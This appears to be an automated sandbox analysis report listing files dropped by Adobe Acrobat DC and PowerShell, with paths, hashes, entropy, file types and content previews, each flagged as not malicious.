SHA1:	069E771964FB7992BB10744C8F2ABAFFBE1047A6
SHA-256:	333390FD8A70D7B41A78EFF9739B360B1C24A6C0D9E5CF4BF64FFB7B083D4F44
SHA-512:	635DB774D9967C4B98830D61956D19189D49B2998C709DAAAC0E0BD164BC9FF60ED08063EDE6EE23A033BA9E98B12E174B885CE720E9B74B934E70EFA38A625D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.25913129430148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJf21rPeUkwRe9:YvXKXk7UYpW7EG+16Ukee9
MD5:	61A6F064C0D1551BB07BFB89AF176F6E
SHA1:	39FDBE4F6DCFE2F8F90079A6C4520154C4B719E0
SHA-256:	87FAD2B21DC7B1460E56D75842814C87811F3AF925F40142FF603045CF458342
SHA-512:	CBE51DAAF513B55F6518D7F2808A4D06BED800B5ED0D4AA945C70BBDA05B6B7CB7C0EE1A02AF48F5ACA631E640A144EE83039B48AB63E7687EE7B95E5BDD8D71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664492807353813
Encrypted:	false
SSDEEP:	24:Yv6XOiBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGI:Yv2NBgkDMUJUAh8cvMGI
MD5:	136F1C6F50DF8EF0BF159C4BA7FD867B
SHA1:	85CFFB46B5586782209EBCAE80924859D080F0A1
SHA-256:	FC3C5A6D9B5CC4A0FABA62B000FE68E421CE8DA1C2521553D42F49B698229804
SHA-512:	2439B0C4CC9037A08DA1152B8DEE677B1F58EAD13C9078B5D6F698090A49E838D47A2A79040B6A1620BBD83C094D4AC82CB5BABAE50610CDE7D01A7AD2E7C475
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234951394648272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJfshHHrPeUkwRe9:YvXKXk7UYpW7EGUUUkee9
MD5:	F663174D213A3ACCE59F00692E9A71D7
SHA1:	723AB7C74427D290B9100A38B208649B60D23F09
SHA-256:	BDE13733C2ED74122FCD26D3A57DF822059CEA27FCFC8D7A0404FF62BE1C19E0
SHA-512:	3CD74417B0BA56DEA9669E9429BD493DA02A2F6D7034D419364BBBAD4CFA02FEAE2A5E83618AAE0DB79CBAAAC94996E4CA3BFAC58543B97A4EB63632A6D8DAEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.246779886478288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8f8r2x+FIbRI6XVW7+0Y/KoAvJTqgFCrPeUkwRe9:YvXKXk7UYpW7EGTq16Ukee9
MD5:	7BA170A49A1C462EF1126F3B9F1695DC
SHA1:	51A2BFD6DBE86E3955535B823F4A23D28818F8F6
SHA-256:	6C74A1E7D5CE448EEF1A6639FC2F8309E3C09E7E038EB227A48A956C777ECBA6
SHA-512:	F740A5ADAF66DFEDF3A1CD94070543DAFBC06FC218A35FA3995E53A18428E109EF222CCE9D0327987350E297BAABDC506B0F53765FAD9D26DB273F0E63D1EE7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8039ef88-a636-42ef-a8fd-8b9f7be894f0","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736712709440,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135190137643861
Encrypted:	false
SSDEEP:	48:YLJpezHbWs9a1mtKuK9Q+b3jIJgkoc84bnO5j16Zyh9/DB/:xGsm/G+Yo0b4+y/t
MD5:	C078C8673888D9235F64652F71049E90
SHA1:	21EBDE965F9F51108F47E049BE8002DCD06D68A2
SHA-256:	E3E721C3B4C5A9CA28881481DD8ADEA5DB37FEBF2D414DEE9477CE77C44719FC
SHA-512:	26A422EA404970659A570A14186655B1982B04B87BBB3F2781096B384E4E67754923417E93177F34D991931DF00E65C52636BBD8995DAD73F445232FFE3ED7D4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7d27dbbe9c86885eb0d93c363497380a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533593000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d3d8db66eddfdd50727b17036c8b7585","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533593000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"13f27ea966b4b133bf522c22a58680c4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533593000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f39c38fd45bcd20989e8006065a88df6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533593000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d013892f39b7d339de425a287930c466","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533593000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a16fed742765430e645a40901934d785","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9839002019832831
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpIMI4zJwtNBwtNbRZ6bRZ4vMIF:TVl2GL7ms6ggOVplzutYtp6Pk
MD5:	21FB54F90A771C4F88182430E62B54DE
SHA1:	455C37DA784046026045B394D0F40C5F559FE2DA
SHA-256:	9E90655FFE429AB34F38C1CD6D6C3A62F30ADB9B339765C54FA13F558E7DB7CD
SHA-512:	4666184E6620281AE8755FC9B882642A735BE87995BD98DD24E04F82988F4F21E94010275C3E65C6835B7759776CEA37CDA35533EDC5955A693D2D5212CF9C02
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.337332762583588
Encrypted:	false
SSDEEP:	24:7+t0nAD1RZKHs/Ds/SpIMIPzJwtNBwtNbRZ6bRZWf1RZKQqLBx/XYKQvGJF7ursg:7MsGgOVpezutYtp6PM5qll2GL7msg
MD5:	529607108A7F229412998026D8F29D18
SHA1:	879F9886DFC9D3DAF2C1EA3C5B07A32132061CBA
SHA-256:	93E8C566C0223FF16F56CE221FC62EDD1778AFEB5188FC0160781A77E34669D4
SHA-512:	C6CD86D715B2F6EDA7EB00EDFF5DA612396C3366A61AA7515F80F13C52F281E8FD3B039AEA366C53FCE59EE697088D6A0A6E2E471DE90D5F46915F6B5A416F3D
Malicious:	false
Preview:	.... .c......h........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+pujyKmRUVVmVOZSffV2PTUEtYyu:6a6TZ44ADE+puFmRUVSKocK
MD5:	EC9DB12B289C54E8BDAA2D9821130753
SHA1:	1C1527E4165639ECEA2DF511B8DBBCE6712C83F8
SHA-256:	44483A7004668F115F637B15079128C3FD0E7475381BA471CA3B9E4813BC2048
SHA-512:	BD1BE760EDA05897730FC60A631EC1D6A1D785D555F66AF1B32417E912B5EE55FFD1AFFF14B1041AB9C6F7B785291E167F6AA8D9FA010E1E23FA7A84025359AF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI7e7a9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEE:Qw946cPbiOxDlbYnuRK+bDE
MD5:	83FA2E672AD85F896F06ED0601833F51
SHA1:	CB158E078256351FD87FD4902D6BE75C7973BFC3
SHA-256:	9D864354349D3CA92096BFFB442E3C04A7BB070F43F889B70F72011DD1BB06C7
SHA-512:	0B84525486D463DA77B3D65D2A3CD33DEDAA785A0B177CD316ABF1A325CE0FA0963ACF01A2753E29766348901CB480F13778FEA8FBE2B63BD2C255D096817425
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.2.6.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlgrkpqi.z0h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r41jxlrs.0fy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-26-29-788.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367523574920576
Encrypted:	false
SSDEEP:	384:qTRypbslxkJit/A4JQFBUK5hlG3pvpZ3P0nJgoCgdzBduN5L7FbdUzUx8E2AUDrt:Yzg
MD5:	A3137EF597E1E1634527A91A32D6DD07
SHA1:	0D9284FB74E84F60A944B78D58EAAAA71B0BBBAE
SHA-256:	B2798664BD966B2139ADB846FC4CB1600EFD3E99C95F313C84331AC228B6422A
SHA-512:	B879CC1E96F4ADC5ABF91B47CF71F9E75F3A8B0FB577F45C7D2A06B328EA14846F2BEB784C5B85B00A75DF8B1FB343C95B06D873125FD0C34A27985EEE9486F6
Malicious:	false
Preview:	SessionID=225a19e7-a982-41bc-9d25-8dadf540bbd2.1736533589804 Timestamp=2025-01-10T13:26:29:804-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=225a19e7-a982-41bc-9d25-8dadf540bbd2.1736533589804 Timestamp=2025-01-10T13:26:29:806-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=225a19e7-a982-41bc-9d25-8dadf540bbd2.1736533589804 Timestamp=2025-01-10T13:26:29:806-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=225a19e7-a982-41bc-9d25-8dadf540bbd2.1736533589804 Timestamp=2025-01-10T13:26:29:806-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=225a19e7-a982-41bc-9d25-8dadf540bbd2.1736533589804 Timestamp=2025-01-10T13:26:29:806-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400233040150378
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbq:1k
MD5:	5D5759327A34F56DAF9421EA8471F834
SHA1:	9DB00B03C42BA4DD9FBFDC517417FA595F7247F6
SHA-256:	640DF9EA8B08E8545687F300265F8BFBF7624C6A6B275A9AD9F7674C678A97CD
SHA-512:	B091520DF5F69E86D6E400E8B0A2C07E6C0A176469897CF32F379FC565D54B539A944897ABA41D96F69DA2868EBB794E7386C0BEA017B399B0D252DA04049DA9
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\44e50447-3482-498b-9559-6bb4b371a262.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\57c37dee-00d1-40ed-abbc-7112c87ab933.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\86b4b7bd-7cfa-4220-965c-a2272d860170.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
